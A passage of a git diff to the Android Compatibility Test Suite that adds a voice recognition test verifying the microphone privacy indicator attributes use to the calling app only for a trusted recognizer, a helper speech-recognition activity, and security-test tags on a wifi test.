+ mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
+ // QPR is default disabled, we need to enable it
+ setIndicatorsEnabledStateIfNeeded(/* shouldBeEnabled */ true);
+ }
+
+ @After
+ public void teardown() {
+ if (!mTestRunnung) {
+ return;
+ }
+ // press back to close the dialog
+ mUiDevice.pressBack();
+ // restore to original voice services
+ setCurrentRecognizer(mOriginalVoiceRecognizer);
+ // restore to original indicator enable state
+ setIndicatorsEnabledStateIfNeeded(mOriginalIndicatorsEnabledState);
+ }
+
+ private void prepareDevice() {
+ // Unlock screen.
+ runShellCommand("input keyevent KEYCODE_WAKEUP");
+ // Dismiss keyguard, in case it's set as "Swipe to unlock".
+ runShellCommand("wm dismiss-keyguard");
+ }
+
+ private void setIndicatorsEnabledStateIfNeeded(Boolean shouldBeEnabled) {
+ runWithShellPermissionIdentity(() -> {
+ final boolean currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+ INDICATORS_FLAG, false);
+ if (currentlyEnabled != shouldBeEnabled) {
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+ shouldBeEnabled.toString(), false);
+ }
+ });
+ }
+
+ private void setCurrentRecognizer(String recognizer) {
+ runWithShellPermissionIdentity(
+ () -> Settings.Secure.putString(mContext.getContentResolver(),
+ VOICE_RECOGNITION_SERVICE, recognizer));
+ mUiDevice.waitForIdle();
+ }
+
+ private boolean hasPreInstalledRecognizer(String packageName) {
+ Log.v(TAG, "hasPreInstalledRecognizer package=" + packageName);
+ try {
+ final PackageManager pm = mContext.getPackageManager();
+ final ApplicationInfo info = pm.getApplicationInfo(packageName, 0);
+ return ((info.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ private static String getComponentPackageNameFromString(String from) {
+ ComponentName componentName = from != null ? ComponentName.unflattenFromString(from) : null;
+ return componentName != null ? componentName.getPackageName() : "";
+ }
+
+ @Test
+ public void testNonTrustedRecognitionServiceCannotBlameCallingApp() throws Throwable {
+ // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+ // is also a preinstalled app. This is a untrusted case.
+ setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
+
+ // verify that the untrusted app cannot blame the calling app mic access
+ testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
+ }
+
+ @Test
+ public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
+ // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+ // is also a preinstalled app. This is a trusted case.
+ boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
+ getComponentPackageNameFromString(mOriginalVoiceRecognizer));
+ assumeTrue("No preinstalled recognizer.", hasPreInstalledRecognizer);
+
+ // verify that the trusted app can blame the calling app mic access
+ testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
+ }
+
+ private void testVoiceRecognitionServiceBlameCallingApp(boolean trustVoiceService)
+ throws Throwable {
+ // Start SpeechRecognition
+ mActivity.startListening();
+
+ assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+ }
+
+ private void assertPrivacyChipAndIndicatorsPresent(boolean trustVoiceService) {
+ // Open notification and verify the privacy indicator is shown
+ mUiDevice.openNotification();
+ SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+ final UiObject2 privacyChip =
+ mUiDevice.findObject(By.res(PRIVACY_CHIP_PACLAGE_NAME, PRIVACY_CHIP_ID));
+ assertWithMessage("Can not find mic indicator").that(privacyChip).isNotNull();
+
+ // Click the privacy indicator and verify the calling app name display status in the dialog.
+ privacyChip.click();
+ SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+ final UiObject2 recognitionCallingAppLabel = mUiDevice.findObject(By.text(APP_LABEL));
+ if (trustVoiceService) {
+ // Check trust recognizer can blame calling app mic permission
+ assertWithMessage(
+ "Trusted voice recognition service can blame the calling app name " + APP_LABEL
+ + ", but does not find it.").that(
+ recognitionCallingAppLabel).isNotNull();
+ assertThat(recognitionCallingAppLabel.getText()).isEqualTo(APP_LABEL);
+
+ // Check trust recognizer cannot blame non-mic permission
+ final UiObject2 cemaraLabel = mUiDevice.findObject(By.text(mCameraLabel));
+ assertWithMessage("Trusted voice recognition service cannot blame non-mic permission")
+ .that(cemaraLabel).isNull();
+ } else {
+ assertWithMessage(
+ "Untrusted voice recognition service cannot blame the calling app name "
+ + APP_LABEL).that(recognitionCallingAppLabel).isNull();
+ }
+ // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
+ SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
+ }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
new file mode 100644
index 0000000..66c8c9c
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.speech.RecognizerIntent;
+import android.speech.SpeechRecognizer;
+
+/**
+ * An activity that uses SpeechRecognition APIs. SpeechRecognition will bind the RecognitionService
+ * to provide the voice recognition functions.
+ */
+public class SpeechRecognitionActivity extends Activity {
+
+ private final String TAG = "SpeechRecognitionActivity";
+
+ private SpeechRecognizer mRecognizer;
+ private Intent mRecognizerIntent;
+ private Handler mHandler;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.main);
+ init();
+ }
+
+ @Override
+ protected void onDestroy() {
+ if (mRecognizer != null) {
+ mRecognizer.destroy();
+ mRecognizer = null;
+ }
+ super.onDestroy();
+ }
+
+ public void startListening() {
+ mHandler.post(() -> {
+ if (mRecognizer != null) {
+ final Intent recognizerIntent =
+ new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+ recognizerIntent.putExtra(
+ RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
+ mRecognizer.startListening(recognizerIntent);
+ }
+ });
+ }
+
+ private void init() {
+ mHandler = new Handler(getMainLooper());
+ mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
+ }
+}
diff --git a/tests/tests/wifi/Android.bp b/tests/tests/wifi/Android.bp
index 9ece956..d68b42b3 100644
--- a/tests/tests/wifi/Android.bp
+++ b/tests/tests/wifi/Android.bp
@@ -39,6 +39,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index fdeb48c..62b6c22 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -65,6 +65,7 @@
import android.os.SystemClock;
import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
import android.provider.Settings;
import android.support.test.uiautomator.UiDevice;
import android.telephony.TelephonyManager;
@@ -1942,6 +1943,7 @@
* Tests {@link WifiManager#forget(int, WifiManager.ActionListener)} by adding/removing a new
* network.
*/
+ @SecurityTest
public void testForget() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported